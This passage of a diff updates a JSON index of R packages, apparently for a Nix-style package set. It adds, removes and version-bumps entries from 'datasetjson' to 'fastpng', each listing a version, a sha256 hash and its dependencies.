"assertthat", "haven", "labelled", "pillar", "rlang", "tibble", "vctrs"] }, "datasetjson": { "name": "datasetjson", @@ -56743,12 +56485,6 @@ "sha256": "0xaisb2493z2j7wrasdiy8ssxh426lnsw9p46icj7mli5x8jr5ad", "depends": [] }, - "datastepr": { - "name": "datastepr", - "version": "0.0.2", - "sha256": "039yggdj8jdici7hwmkjwgix45lvwjl7rw5h2rfzsm9xaq6vw1z2", - "depends": ["R6", "dplyr", "lazyeval", "magrittr", "tibble"] - }, "dataverifyr": { "name": "dataverifyr", "version": "0.1.8", @@ -56761,6 +56497,12 @@ "sha256": "0ffq6r521nzhlr5w97msmncij141qmj0z2255d6nahsmvfd36pci", "depends": ["cachem", "checkmate", "httr", "jsonlite", "memoise", "readr", "xml2"] }, + "dataviewR": { + "name": "dataviewR", + "version": "0.1.0", + "sha256": "0sn5v617k9mkc74bsai7f93d8ss802rirda338vyrsvfsx8bq4ca", + "depends": ["DT", "datamods", "dplyr", "forcats", "htmlwidgets", "labelled", "purrr", "shiny", "shinyjs", "stringr", "tibble"] + }, "datawizard": { "name": "datawizard", "version": "1.1.0", @@ -57049,6 +56791,12 @@ "sha256": "1j17rv9wklmxbxa6ri9vhl370jzhi00h7h8hz1ajzqf6v3b2lkvc", "depends": ["Rcpp", "RcppArmadillo"] }, + "dci": { + "name": "dci", + "version": "1.0.2", + "sha256": "1h45z7i2sljg3rh8v68348ylbbkycwl0c866ng2iw8ajymm3abhb", + "depends": ["dplyr", "igraph", "magrittr", "rlang", "sf", "sfnetworks", "tidygraph", "tidyselect", "units"] + }, "dcifer": { "name": "dcifer", "version": "1.2.1", @@ -57243,9 +56991,9 @@ }, "deaR": { "name": "deaR", - "version": "1.4.1", - "sha256": "0rc12pr4br8kca90xcy5f8w1fyjzn6s7kyc3q3m3caxq8dlidn5v", - "depends": ["dplyr", "ggplot2", "gridExtra", "igraph", "lpSolve", "plotly", "tidyr", "writexl"] + "version": "1.5", + "sha256": "0adp4qgq66lg78nlsbdpznp80c92wksdwrjyv2b94ssmjgxrf69p", + "depends": ["dplyr", "ggplot2", "gridExtra", "igraph", "lpSolve", "optiSolve", "plotly", "tidyr", "writexl"] }, "deadband": { "name": "deadband", @@ -57271,6 +57019,12 @@ "sha256": "1kbz17q8xg8nbak0y4f6g9pj20q02a00ijvk1xmbsbgl4xmww0ip", "depends": ["flexsurv", "survival"] }, + "debiasedTrialEmulation": { + "name": "debiasedTrialEmulation", + "version": "0.1.0", + "sha256": "0kza7kj78kl7lrj8mzf3fh7nyvamk5gvc4b9ggw0vcjr68agcshj", + "depends": ["EmpiricalCalibration", "MatchIt", "ParallelLogger", "cobalt", "dplyr", "geex", "ggplot2", "glmnet", "janitor", "purrr", "survival"] + }, "debkeepr": { "name": "debkeepr", "version": "0.1.1", @@ -57433,12 +57187,6 @@ "sha256": "1pz07zznlpqjkkpf5r1ik0shl7kj0vn4l5dmvs7ggc7k5n7ig3b2", "depends": ["cranlogs", "httr", "jsonlite"] }, - "deepdive": { - "name": "deepdive", - "version": "1.0.4", - "sha256": "0q4jjq11bd52bx0vqjxsh0fz1b72pfy4gpj5p19z7p4czf4a46c6", - "depends": ["data_table", "fastDummies", "plyr", "rpart", "stringr", "treeClust"] - }, "deepgmm": { "name": "deepgmm", "version": "0.2.1", @@ -57687,8 +57435,8 @@ }, "dendroTools": { "name": "dendroTools", - "version": "1.2.13", - "sha256": "1dvisplghjyh607ns5xnwv1v8bg7i05sp4w96g6bmkwpgshaa6b0", + "version": "1.2.14", + "sha256": "0cg6d6flin0x1hphiwzsmvns6rxbzbjf3rrs7pwv2fqvgvlgj8jw", "depends": ["Cubist", "MLmetrics", "boot", "brnn", "dplR", "dplyr", "ggplot2", "knitr", "lubridate", "magrittr", "oce", "plotly", "psych", "randomForest", "reshape2", "scales", "viridis"] }, "dendroextras": { @@ -57723,9 +57471,9 @@ }, "denim": { "name": "denim", - "version": "1.1.0", - "sha256": "0282sd0a8ml4j8c81izr9aszi4r1firbp7lbgvbilxvci13qmjwf", - "depends": ["Rcpp", "testthat", "viridisLite"] + "version": "1.2.1", + "sha256": "00d6c27iy9xarq3d8dw7s4rvy990xxprrj5pzwjr0z9sal0bavvf", + "depends": ["Rcpp", "colorspace", "glue", "rlang", "testthat"] }, "denoiSeq": { "name": "denoiSeq", @@ -57733,12 +57481,6 @@ "sha256": "18w69gxbnazg5k8bzi76slcqxnbfmrndp548zazz8bpxz3jns699", "depends": [] }, - "denoiseR": { - "name": "denoiseR", - "version": "1.0.2", - "sha256": "1q5kxiwfkrf2k0gpidzhl4hyzyjcm33rwlw4dan9nkx1181naw9l", - "depends": ["FactoMineR", "Matrix", "irlba"] - }, "denovolyzeR": { "name": "denovolyzeR", "version": "0.2.0", @@ -57909,8 +57651,8 @@ }, "descriptio": { "name": "descriptio", - "version": "1.4", - "sha256": "1cp759pjlwixb72ymk760rz14wfnxxwwsvhx7f8mf4qhg5s7100i", + "version": "1.4.1", + "sha256": "1q3wxzip82vv9q5nkz9vx3nxsmpa9a2xxsw5qf0cx8bq2185911d", "depends": ["MASS", "ggplot2", "rlang"] }, "descriptr": { @@ -58131,15 +57873,15 @@ }, "dexter": { "name": "dexter", - "version": "1.6.1", - "sha256": "1jsbinbpflvjrajmc2l0dqllx6385vwphndp89fdk9fai6d07a60", + "version": "1.6.2", + "sha256": "1bvhanfagj85c7dzj5a0xsda95q95bpwgs67zd6wc98xc2hhwzy2", "depends": ["BH", "DBI", "MASS", "RSQLite", "Rcpp", "RcppArmadillo", "dplyr", "dqrng", "rlang", "sitmo", "tidyr"] }, "dextergui": { "name": "dextergui", - "version": "0.2.6", - "sha256": "10v3djwani0zd27cjlf7lch7rfipnmb2p5wa7n2y5qxjqxli9z3x", - "depends": ["Cairo", "DBI", "DT", "RCurl", "dexter", "dplyr", "ggExtra", "ggplot2", "ggridges", "htmltools", "htmlwidgets", "jsonlite", "networkD3", "readODS", "readxl", "rlang", "shiny", "shinyBS", "shinyFiles", "shinyjs", "tibble", "tidyr", "writexl"] + "version": "1.0.0", + "sha256": "1xx5nr35xhmn97g5ywk961r48i1d807wjqk1bj79v13fp9q5a7f3", + "depends": ["Cairo", "DBI", "DT", "RCurl", "dexter", "dplyr", "ggplot2", "htmltools", "jsonlite", "networkD3", "readxl", "rlang", "shiny", "shinyBS", "shinyFiles", "shinyjs", "survey", "tidyr", "writexl"] }, "df2yaml": { "name": "df2yaml", @@ -58191,15 +57933,9 @@ }, "dfidx": { "name": "dfidx", - "version": "0.1-0", - "sha256": "0ygbw1z0v2s2w7d45b09x54xycfglpd1ipgkgxq8w2q004rkdp9d", - "depends": ["Formula", "Rdpack", "dplyr", "glue", "pillar", "tidyselect", "vctrs"] - }, - "dfmeta": { - "name": "dfmeta", - "version": "1.0.0", - "sha256": "0ca48adfhaxac33jmxbynlyg3ak9l5mmjhlr69n4hnz6325gn9vb", - "depends": ["data_table", "ggplot2", "lme4", "plyr"] + "version": "0.1-2", + "sha256": "195isyxqcnwwrl17ayxqnlcwmraplq574dfzyiyqn9zkkn3afalx", + "depends": ["Formula", "Rdpack"] }, "dfmirroR": { "name": "dfmirroR", @@ -58503,9 +58239,9 @@ }, "difR": { "name": "difR", - "version": "5.1", - "sha256": "1cd5kaal5mjrbj1l9ki2wbqasdxphgc2yhaf4xwgbh1nr2zkhr02", - "depends": ["deltaPlotR", "lme4", "ltm", "mirt"] + "version": "6.0.0", + "sha256": "0a4kgy6vi0d56d5hs22vyyblqxklg629zj8i79h0afp5gjrzixbs", + "depends": ["DescTools", "VGAM", "deltaPlotR", "glmnet", "lme4", "ltm", "mirt"] }, "difconet": { "name": "difconet", @@ -58723,6 +58459,12 @@ "sha256": "0nxjwiffi1ivafzha3c35kjk36ai7na0nbfl6x3gpsi2km7b84nd", "depends": ["Matrix", "Rmosek", "glmnet"] }, + "dir2json": { + "name": "dir2json", + "version": "0.1.0", + "sha256": "0zf657b12zbypdxjs6n1x5x4914n2n40sij3ng4yxl40350zr4sk", + "depends": ["base64enc", "fs", "jsonlite", "rlang"] + }, "directPA": { "name": "directPA", "version": "1.5.1", @@ -58753,12 +58495,6 @@ "sha256": "05whzhl81nyag7321hw98xa63r440s9bgj1764346yvm9bvzjqi4", "depends": [] }, - "dirttee": { - "name": "dirttee", - "version": "1.0.2", - "sha256": "1kmchjvm5x3gsvq2dqxr4di2l607j1ivsm75zwggaiwi8yjz9s4c", - "depends": ["MASS", "Matrix", "expectreg", "formula_tools", "mgcv", "nloptr", "provenance", "rlang", "survival"] - }, "disagg2": { "name": "disagg2", "version": "0.1.0", @@ -58851,8 +58587,8 @@ }, "discord": { "name": "discord", - "version": "1.2.3", - "sha256": "09ymb84457k6apwb8nnpjq90anh62kyffphhv2vwwxgiyr1z8dgk", + "version": "1.2.4.1", + "sha256": "0z2n71vfs66zyrdnq4mib1i7m4f7qj77m13m15hlqjri1r1cpvvj", "depends": [] }, "discourseGT": { @@ -58873,6 +58609,12 @@ "sha256": "0gw9fpmsqj1cj2qr7hqr86j28kjn3qfykdkkxrazj3dnv981xhhy", "depends": ["dplyr", "magrittr", "ngram", "readr", "stopwords", "stringdist", "stringi", "synthesisr", "tm"] }, + "discovr": { + "name": "discovr", + "version": "0.2.2", + "sha256": "1rkh9sq3r53f74r19vg4dm2mpjwcxjydv3cpnkbaqswp0qdvnzzb", + "depends": ["ggplot2", "glue", "learnr", "scales"] + }, "discretefit": { "name": "discretefit", "version": "0.1.2", @@ -59283,8 +59025,8 @@ }, "divraster": { "name": "divraster", - "version": "1.0.4", - "sha256": "0w603c5czvzqj0ydbmmxy9xn8p0r25c6i5m90219p6jv4nb1afrz", + "version": "1.2.1", + "sha256": "1c9snm0ldy3jni6ibsly114shzpjaavsv00q71967y6vm92nq6wl", "depends": ["BAT", "SESraster", "terra"] }, "divseg": { @@ -59337,9 +59079,9 @@ }, "dlim": { "name": "dlim", - "version": "0.1.0", - "sha256": "12sa1bpslans836v9fvma2wj8qspnc521saaw02q9iygkh7kf1sy", - "depends": ["dlnm", "ggplot2", "mgcv", "reshape2", "rlang", "tsModel", "viridis"] + "version": "0.2.1", + "sha256": "0ffcgav830znsaqd14359ampikwkibfdnqib8xjj4q9kjnqs9cnb", + "depends": ["dlnm", "ggplot2", "lifecycle", "mgcv", "reshape2", "rlang", "tsModel", "viridis"] }, "dlm": { "name": "dlm", @@ -59353,6 +59095,12 @@ "sha256": "1yjzbg8pnw75ynnbb83vdww7rn557q5pgi27amb9pmjaplxv3y6a", "depends": ["Rcpp", "RcppArmadillo", "RcppEigen", "coda", "dplyr", "ggplot2", "ggridges", "mgcv", "shiny", "shinythemes", "tidyr"] }, + "dlmwwbe": { + "name": "dlmwwbe", + "version": "0.1.0", + "sha256": "10vyp7a4l7dy5vacc14y9shvbqk0na4wg5cxj7lhkxqb68wqzp7q", + "depends": ["dlm"] + }, "dlnm": { "name": "dlnm", "version": "2.4.10", @@ -59431,12 +59179,6 @@ "sha256": "0rzi1bk1js3glyw83xic7yywvgp8dc4ah8za678ipqd86w8d536g", "depends": ["MASS", "Matrix", "nadiv", "pls", "robustbase"] }, - "dmri_tracking": { - "name": "dmri.tracking", - "version": "0.1.0", - "sha256": "0aij0n5p6cp75r5b3bfpmhnmz2nixbb4kwacixg66g6kilwj3sis", - "depends": ["rgl"] - }, "dmtools": { "name": "dmtools", "version": "0.2.6", @@ -59457,8 +59199,8 @@ }, "dndR": { "name": "dndR", - "version": "3.0.0", - "sha256": "1jxkixav0rc69sfj614c1k2hgybr3z3zrg6aljjn7dy3fa47sdac", + "version": "3.1.0", + "sha256": "158dgbharl9f3lsjh7i3d6fqwcg73jz86pq3gz45shzcwn4zanni", "depends": ["dplyr", "ggplot2", "magrittr", "purrr", "stringr", "tidyr"] }, "dng": { @@ -59499,8 +59241,8 @@ }, "doFuture": { "name": "doFuture", - "version": "1.1.0", - "sha256": "1bi07qs7gny79gjz3hk5m1j1aggmp9g68n0abdzimnn0wdcmvw2a", + "version": "1.1.1", + "sha256": "1dqdm7dhikjm4m8bf452qli75y31yrrhjq6dvil6rrcl5m0cjcz7", "depends": ["foreach", "future", "future_apply", "globals", "iterators"] }, "doMC": { @@ -59643,8 +59385,8 @@ }, "document": { "name": "document", - "version": "4.0.0", - "sha256": "1bkpyd1cg5r6g1jcwf6xqy0bviwd88i3k2jfzggzxpnva2s02y8y", + "version": "4.0.1", + "sha256": "17mb8q1jbqs5pl49bsgkmz5rvwzqgzd3aa0v8sv20klrqiixary9", "depends": ["callr", "checkmate", "desc", "fritools", "rcmdcheck", "roxygen2", "rstudioapi"] }, "documenter": { @@ -59941,12 +59683,6 @@ "sha256": "1wg492r19rd1hplq6ccngwr0z615m4yx5jln0v01gbz4pm47dpmi", "depends": ["Formula", "crayon", "dplyr", "jtools", "lavaan", "panelr", "rlang", "stringr"] }, - "dpmr": { - "name": "dpmr", - "version": "0.1.9", - "sha256": "1cnjywkvjb4fhbf4shjmsrq47f1fg2x21hcm1q5512bm0wg9i6jd", - "depends": ["digest", "httr", "jsonlite", "magrittr", "rio"] - }, "dppmix": { "name": "dppmix", "version": "0.1.1", @@ -60267,8 +60003,8 @@ }, "dscore": { "name": "dscore", - "version": "1.9.0", - "sha256": "1skcmd2fh8s5d5qdj661niwa3cfd01i22kxxcf84awad0p1p8g57", + "version": "1.10.0", + "sha256": "1bxi24s5f9bc0g95gsihf3c4arhpxkca12x4mvvibnlqixks0928", "depends": ["Rcpp", "RcppArmadillo", "dplyr", "stringi", "tidyr"] }, "dscoreMSM": { @@ -60321,9 +60057,9 @@ }, "dsmSearch": { "name": "dsmSearch", - "version": "1.1.1", - "sha256": "0q0m95zrdbridjav6x3avq6m27rlm7jl3yf822p5v1r5jyf36jq6", - "depends": ["dplyr", "httr2", "imager", "lidR", "sf", "sp", "terra"] + "version": "1.2.1", + "sha256": "0xx44hzy97g9cm6lx24r1a2p2fgq6av6srjzznym33vh6dx4sv5k", + "depends": ["dplyr", "forestdata", "httr2", "imager", "lidR", "nominatimlite", "sf", "sp", "terra"] }, "dsmisc": { "name": "dsmisc", @@ -60489,8 +60225,8 @@ }, "dual": { "name": "dual", - "version": "0.0.5", - "sha256": "08r2qz5rvsc3pjrc8rsks6r39w52n621mfg77yfnk4lc1vqn4y8d", + "version": "0.0.6", + "sha256": "0nl94m41hzgwjg07vb3krmcbqsjnk62jglkf89qiq9az5hqxpdvh", "depends": [] }, "dualScale": { @@ -60519,8 +60255,8 @@ }, "duckdb": { "name": "duckdb", - "version": "1.2.2", - "sha256": "161zxianyssvsrd2345v4bi1m2z7wj614z8343jb73vhlk6s9yyi", + "version": "1.3.0", + "sha256": "010y7ag92y1hb8wi72i4vgjlgii9r7nj6znzlikadmpf58j3gzs9", "depends": ["DBI"] }, "duckdbfs": { @@ -60853,6 +60589,12 @@ "sha256": "0s9n62k9cghvqgcpgingcvni3fzq2d9lrnj48i92kb25165446wm", "depends": ["MASS", "Matrix", "Rdpack", "car", "deSolve", "fda", "ggplot2", "latex2exp", "magrittr", "mice", "numDeriv", "plyr", "reshape2", "stringi", "tibble", "xtable"] }, + "dynsbm": { + "name": "dynsbm", + "version": "0.8", + "sha256": "1wcr17ys60iz447arxa4nr1vlf2hv9ipspr4kmcijz081aa4nfhj", + "depends": ["RColorBrewer", "Rcpp"] + }, "dynsurv": { "name": "dynsurv", "version": "0.4-7", @@ -60999,8 +60741,8 @@ }, "eRm": { "name": "eRm", - "version": "1.0-9", - "sha256": "0q35vg2ycvkhq5za50wzaxfsv7xiclsy4qv6ppb4ag7w90b1cvxi", + "version": "1.0-10", + "sha256": "0lnnvvrpk7gwpgzqz0yl9kwklhwm4hkzkp45mzr8x4gh5xffsig7", "depends": ["MASS", "Matrix", "colorspace", "lattice", "psych"] }, "eSDM": { @@ -61101,8 +60843,8 @@ }, "easyNCDF": { "name": "easyNCDF", - "version": "0.1.2", - "sha256": "0kh38iafgwf9rxd8ccwv2pvzxsnk5pwp02nqnksgy7l8s526i5cc", + "version": "0.1.3", + "sha256": "1pz9yjz1ydgxawfx5y698fv5j51jsd0bx00bplpapkywf3kxgkig", "depends": ["abind", "ncdf4"] }, "easyORtables": { @@ -61303,6 +61045,12 @@ "sha256": "0far2hvfvj6r4qzr47q72innxxnj0g8vxx6arn7wkcv30jmx34x7", "depends": ["igraph"] }, + "ebdm": { + "name": "ebdm", + "version": "1.0.0", + "sha256": "1b276jzwxsznsayzbxd2yry2wjljib8rb3npj8xd2xzdidnlr1s4", + "depends": [] + }, "ebirdst": { "name": "ebirdst", "version": "3.2023.0", @@ -61585,6 +61333,12 @@ "sha256": "0s523zj537bdz47x2lcfd72cqdzz0gwbi6vg79ckz0sjzaiy51kk", "depends": ["viridis"] }, + "ecorisk": { + "name": "ecorisk", + "version": "0.1.1", + "sha256": "1ri4f0a5vq9cr4w8gppjlzkpri5r3w6qsdqcy44bb1a9m255z2wv", + "depends": ["colorspace", "forecast", "geomtextpath", "ggnewscale", "ggplot2", "ggpubr", "gridExtra", "mgcv", "rlang", "tibble"] + }, "ecos": { "name": "ecos", "version": "0.1.6", @@ -61617,8 +61371,8 @@ }, "ecostats": { "name": "ecostats", - "version": "1.2.1", - "sha256": "0zf3kw0kbwg759ixzwxilagx7h1xhdjsfvp8gb86b9m6pnwsiqr7", + "version": "1.2.2", + "sha256": "08x8wvfiicsl7l00d6lrdlshcqkr32dabckiw48591xdjyscppbl", "depends": ["GET", "MASS", "ecoCopula", "mgcv", "mvabund", "mvtnorm"] }, "ecostatscale": { @@ -61939,12 +61693,6 @@ "sha256": "1lnlmzwa5g1djs1i4vk2jx6rd0b45hs9n9lfkbpnn69s0lgj7rys", "depends": ["fixest"] }, - "effectR": { - "name": "effectR", - "version": "1.0.2", - "sha256": "1icr1sx98x3h8rbky1agdh809arhjqcypyajl7y50yis8a5pkycb", - "depends": ["ggplot2", "reshape2", "rmarkdown", "seqinr", "shiny", "viridis"] - }, "effectplots": { "name": "effectplots", "version": "0.2.2", @@ -61959,8 +61707,8 @@ }, "effectsize": { "name": "effectsize", - "version": "1.0.0", - "sha256": "1r9kx7dp49db43c6r6n7n21b7hsiqv5mvnwpxpmdxvxfcjgbg41z", + "version": "1.0.1", + "sha256": "1lq23s8nnya4l79ahfr9dh1b9ncgw3r8x2qz0i81ca683lh5kzrd", "depends": ["bayestestR", "datawizard", "insight", "parameters", "performance"] }, "effectsizescr": { @@ -62301,8 +62049,8 @@ }, "ellmer": { "name": "ellmer", - "version": "0.2.0", - "sha256": "1263bw435n3prhd04505sgbbcyvk180ph5zy2wy1r916z40pykkn", + "version": "0.2.1", + "sha256": "0b2qniil7g9v5ayklqz38pmqgfzwngc002ig9g8plaa80nnz0w9f", "depends": ["R6", "S7", "cli", "coro", "glue", "httr2", "jsonlite", "later", "lifecycle", "promises", "rlang"] }, "elmNNRcpp": { @@ -62415,10 +62163,16 @@ }, "emery": { "name": "emery", - "version": "0.5.1", - "sha256": "1x0x1f2i0yxkq8xl6vm2w2nb8blpa6dkns07d1n9qj43rnwljv5s", + "version": "0.6.0", + "sha256": "0nzy70i4b9pdlz5fzpv7rdd80wdmxvvay3wqip05zxmsc7r488rf", "depends": ["Rdpack", "dplyr", "ggplot2", "mvtnorm", "purrr", "stringr", "tibble", "tidyr"] }, + "emf": { + "name": "emf", + "version": "0.1.0", + "sha256": "195cjpvfq39vqr4mhgiyxhc4ix7ckw783z5ys70glsp9isq9zsgf", + "depends": [] + }, "emg": { "name": "emg", "version": "1.0.9", @@ -62551,12 +62305,6 @@ "sha256": "1w95kb1z9b6dzm2sx427dncqxd7h272lf17cmznrcbdgflfnd735", "depends": ["checkmate", "cli", "data_table", "rlang", "stringi", "stringr", "tibble"] }, - "endoSwitch": { - "name": "endoSwitch", - "version": "1.0.0", - "sha256": "1cj4skk317ppnayk1ph63vll49vs74fljc25cn1iviwgjq64ly0k", - "depends": ["data_table", "maxLik", "msm"] - }, "endogeneity": { "name": "endogeneity", "version": "2.1.4", @@ -62631,8 +62379,8 @@ }, "enmpa": { "name": "enmpa", - "version": "0.2.0", - "sha256": "1fflwasphifygyxm42k465pa9gd52bcjmnc8bibnz2yn7w478wim", + "version": "0.2.1", + "sha256": "1p7p6a8jgs49nb0m40ahz1k7gva81m2ix2750lrjj355v7afd1c5", "depends": ["Rcpp", "doSNOW", "ellipse", "foreach", "mgcv", "snow", "terra", "vegan"] }, "enpls": { @@ -62865,8 +62613,8 @@ }, "epiR": { "name": "epiR", - "version": "2.0.83", - "sha256": "1fnxjikn5x0v3mnxzh24hjvzlbc29wkbar439c08s0ijpx84h63l", + "version": "2.0.84", + "sha256": "0fjanfsbczbyx7f0664igsk8y1hc051x3n00k3vwvvkzfscx69kj", "depends": ["BiasedUrn", "flextable", "lubridate", "officer", "pander", "sf", "survival", "zoo"] }, "epibasix": { @@ -63027,8 +62775,8 @@ }, "epiworldR": { "name": "epiworldR", - "version": "0.8.2.0", - "sha256": "14ycjzksilkhw1bf7farx2q6ivnjj1g2a07xx39s0c4zqwpgy3fy", + "version": "0.8.3.0", + "sha256": "1js3wgy8j9n3dwm8ln3vr5as7v59pbl722s1afcjw41vd9f5jb1z", "depends": ["cpp11"] }, "epiworldRShiny": { @@ -63249,14 +62997,14 @@ }, "ergMargins": { "name": "ergMargins", - "version": "1.5", - "sha256": "1m1x2fqgpjins4bvh1jn2rli9s0knpsbdxdbfyhjiz8439zmk863", + "version": "1.6", + "sha256": "0fmal672aizrmqqx18disgmwfr9csrzcn00ahcjkj4543vm500ij", "depends": ["Matrix", "btergm", "dplyr", "ergm", "network", "numDeriv", "sampling", "sna"] }, "ergm": { "name": "ergm", - "version": "4.8.1", - "sha256": "1q676npmhlncyxvafwmjlcw4zzg3cszar5lriq5m7wklfnghcaw7", + "version": "4.9.0", + "sha256": "1kb95gzi9ahspydg09rj4j008jakjang342wj59wxdhffis6plmm", "depends": ["Rdpack", "coda", "knitr", "lpSolveAPI", "magrittr", "memoise", "network", "purrr", "rlang", "rle", "robustbase", "statnet_common", "stringr", "tibble", "trust"] }, "ergm_count": { @@ -63267,8 +63015,8 @@ }, "ergm_ego": { "name": "ergm.ego", - "version": "1.1.2", - "sha256": "09lhpfkbjbhb0qnshi69ghali83qmqwzqvn6scd38znmfnsyc90r", + "version": "1.1.3", + "sha256": "1qmp1pzrznlm554yg7y71q0w32i2v66vgdk29mh4cwjkmwp43bq4", "depends": ["RColorBrewer", "dplyr", "egor", "ergm", "network", "purrr", "statnet_common", "survey", "tibble"] }, "ergm_multi": { @@ -63567,8 +63315,8 @@ }, "ethiodate": { "name": "ethiodate", - "version": "0.1.0", - "sha256": "1gyxfh0p8gygq5qvrcaiv6mxiydzzqs4wg6gy83raq2ywiajldsl", + "version": "0.2.0", + "sha256": "1h2kyvwgwb3grvgrsdzdz89kwm3agpwh5w5zb0zkyc7cih9bkm35", "depends": ["Rcpp", "stringr", "vctrs"] }, "ethnobotanyR": { @@ -63699,8 +63447,8 @@ }, "eva3dm": { "name": "eva3dm", - "version": "0.99.1", - "sha256": "1czvgnrykzll9dbq6ccgj34d5cpbk5rl6mrgp3kkl927dfs4gh2x", + "version": "1.11", + "sha256": "1gcnmv5rsi73nxmynpdbqp1vaip1km15ip38dbpwaa4ys92gcnla", "depends": ["ncdf4", "terra"] }, "evabic": { @@ -63739,12 +63487,6 @@ "sha256": "0khiifgfag8a6nsznnjr7h1vj5v2nzidv0qrkxlg12i42bg3xqpj", "depends": ["FNN", "R_utils", "ibelief"] }, - "evclust": { - "name": "evclust", - "version": "2.0.3", - "sha256": "0z707x770rp7y3sii4w0xk61is2ib79mix14x48n942vb11mc91b", - "depends": ["FNN", "Matrix", "R_utils", "limSolve", "mclust", "plyr", "quadprog"] - }, "evd": { "name": "evd", "version": "2.3-7.1", @@ -63777,9 +63519,9 @@ }, "eventPred": { "name": "eventPred", - "version": "0.2.8", - "sha256": "04dxihg5qcapcggxh85mbyl3j9rpz1kg5akrgyff6c065hhjjvij", - "depends": ["Matrix", "data_table", "erify", "flexsurv", "lrstat", "magrittr", "mvtnorm", "numDeriv", "plotly", "purrr", "rstpm2", "shiny", "survival"] + "version": "0.2.9", + "sha256": "15jd10fax8bjsrx9hls50njd5q4amsag90c4qln8k9ypr6kl6fpa", + "depends": ["Matrix", "data_table", "erify", "flexsurv", "ggplot2", "lrstat", "magrittr", "mvtnorm", "numDeriv", "plotly", "purrr", "rlang", "rstpm2", "shiny", "survival"] }, "eventTrack": { "name": "eventTrack", @@ -63909,8 +63651,8 @@ }, "evolvability": { "name": "evolvability", - "version": "2.0.0", - "sha256": "0l81d48zvvnbxlx1mj4qwga1kdzk05pzdvsp4ghi93pzzynfqn9s", + "version": "2.0.1", + "sha256": "002anh44yp8swy4kdgiz02zk578d000py3615p72dskd44r94xh8", "depends": ["Matrix", "ape", "coda", "lme4"] }, "evolved": { @@ -63931,12 +63673,6 @@ "sha256": "1nkgvx76cvy78pcnrfh8md2j3b9vmsissmq2s2nbb2rral272gnr", "depends": ["MASS", "cowplot", "dbscan", "dplyr", "ggplot2", "jsonlite", "lubridate", "mclust", "plotly", "purrr", "rlang", "tibble", "tidyr"] }, - "evreg": { - "name": "evreg", - "version": "1.1.1", - "sha256": "10zld5hh6qq92pmr0ajkimjjvnm8a6dhh106w6mpanfz09lvj74f", - "depends": ["evclust"] - }, "evsim": { "name": "evsim", "version": "1.6.1", @@ -64165,12 +63901,6 @@ "sha256": "0661l4ab0xhjidmh8ycvymhp3wgxafm7nd1c59bfpxhyhz76n1p4", "depends": ["glmnet", "orthopolynom", "plyr", "polynom"] }, - "expectreg": { - "name": "expectreg", - "version": "0.53", - "sha256": "0g5py2096dyrcnvgmmba6g796ky150xk63ny6h6ylmajqfcypm1a", - "depends": ["BayesX", "Matrix", "Rcpp", "RcppEigen", "colorspace", "fields", "mboost", "quadprog"] - }, "experDesign": { "name": "experDesign", "version": "0.4.0", @@ -64485,8 +64215,8 @@ }, "eyeris": { "name": "eyeris", - "version": "1.1.0", - "sha256": "1453sdb00glj1qyf123vwrji59p2k3zbwvkszimljph64r5d06d0", + "version": "1.2.1", + "sha256": "15ii61mmzpdxmhlm0yf20lskanpbza3wvb1qx085n9z2psc8zyzl", "depends": ["cli", "data_table", "dplyr", "eyelinker", "gsignal", "lifecycle", "progress", "purrr", "rlang", "stringr", "tidyr", "withr", "zoo"] }, "eyetools": { @@ -64615,6 +64345,12 @@ "sha256": "1njyi2dnjhf0lmjfqbjlmk168kwlvck86bzny32nsknf32b6gb7c", "depends": ["Rcpp", "RcppArmadillo", "doParallel", "foreach", "forecast", "gplots", "iterators", "itertools", "png", "psych", "tseries", "xts", "zoo"] }, + "fEGarch": { + "name": "fEGarch", + "version": "1.0.0", + "sha256": "1a5yfnkf69i2il7ic52azz5d7lwwl4jn980nfm89skn6421rc8c0", + "depends": ["Rcpp", "RcppArmadillo", "Rsolnp", "cli", "esemifar", "furrr", "future", "ggplot2", "magrittr", "numDeriv", "rlang", "rugarch", "smoots", "zoo"] + }, "fExtremes": { "name": "fExtremes", "version": "4032.84", @@ -64941,8 +64677,8 @@ }, "fairmetrics": { "name": "fairmetrics", - "version": "1.0.0", - "sha256": "0640hz347j2zaqzv86qs6jh0gam253d2jm91p8416dfdbflw13jj", + "version": "1.0.3", + "sha256": "1nnjr3di3k9vw3nwn7sgm33w4jkp9wbga8q8qzgbw0g9jz5xbwbl", "depends": [] }, "fairml": { @@ -65047,12 +64783,6 @@ "sha256": "1rn315gxdk4hs73c30srz29yhhl93yaalai3vy65zcscbav8l745", "depends": [] }, - "fanovaGraph": { - "name": "fanovaGraph", - "version": "1.5", - "sha256": "1hffda52yk24slbgsfdgkpg3vsryfnhlw09r39cbyz483i7xd8d0", - "depends": ["DiceKriging", "igraph", "sensitivity"] - }, "fanplot": { "name": "fanplot", "version": "4.0.0", @@ -65421,8 +65151,8 @@ }, "fastmatrix": { "name": "fastmatrix", - "version": "0.5-7721", - "sha256": "1q0swa420a2hiyi7q7xc42igil2h8wrdvhf74563m184b2bvxajv", + "version": "0.5-9017", + "sha256": "0bdbcn20c3kxjc7zg1xvp0nnykifwnf8v2911gqz4156hx9kw8k8", "depends": [] }, "fastmit": { @@ -65433,8 +65163,8 @@ }, "fastml": { "name": "fastml", - "version": "0.5.0", - "sha256": "0a3ia2jgadgvdpjr026qqp3qbpzka9iww71zlzcba5jnafn7v2r4", + "version": "0.6.1", + "sha256": "06c61lffg479p5izmspfpwycnzjx4hkd17ryh65vz8p354lk1hgs", "depends": ["DALEX", "DT", "GGally", "RColorBrewer", "UpSetR", "VIM", "baguette", "bonsai", "broom", "dbscan", "dials", "discrim", "doFuture", "dplyr", "finetune", "future", "ggplot2", "ggpubr", "gridExtra", "htmlwidgets", "janitor", "kableExtra", "knitr", "magrittr", "mice", "missForest", "moments", "naniar", "pROC", "parsnip", "patchwork", "plotly", "plsmod", "probably", "purrr", "recipes", "reshape2", "rlang", "rmarkdown", "rsample", "scales", "skimr", "stringr", "tibble", "tidyr", "tune", "viridisLite", "workflows", "yardstick"] }, "fastnet": { @@ -65445,9 +65175,9 @@ }, "fastplyr": { "name": "fastplyr", - "version": "0.5.1", - "sha256": "1z6idh1djqab3ljyhjsqvlwm41z7nl4q1gxkch398phsfvnr88h1", - "depends": ["cheapr", "collapse", "cpp11", "dplyr", "lifecycle", "magrittr", "rlang", "stringr", "tidyselect", "vctrs"] + "version": "0.9.0", + "sha256": "0cwh83xgqlr7d3xbw4r9ghxivcdx9f86r8vispxcv0lxrxhjhgkn", + "depends": ["cheapr", "cli", "collapse", "cpp11", "dplyr", "lifecycle", "purrr", "rlang", "stringr", "tidyselect", "vctrs"] }, "fastpng": { "name": "fastpng", @@ -66147,8 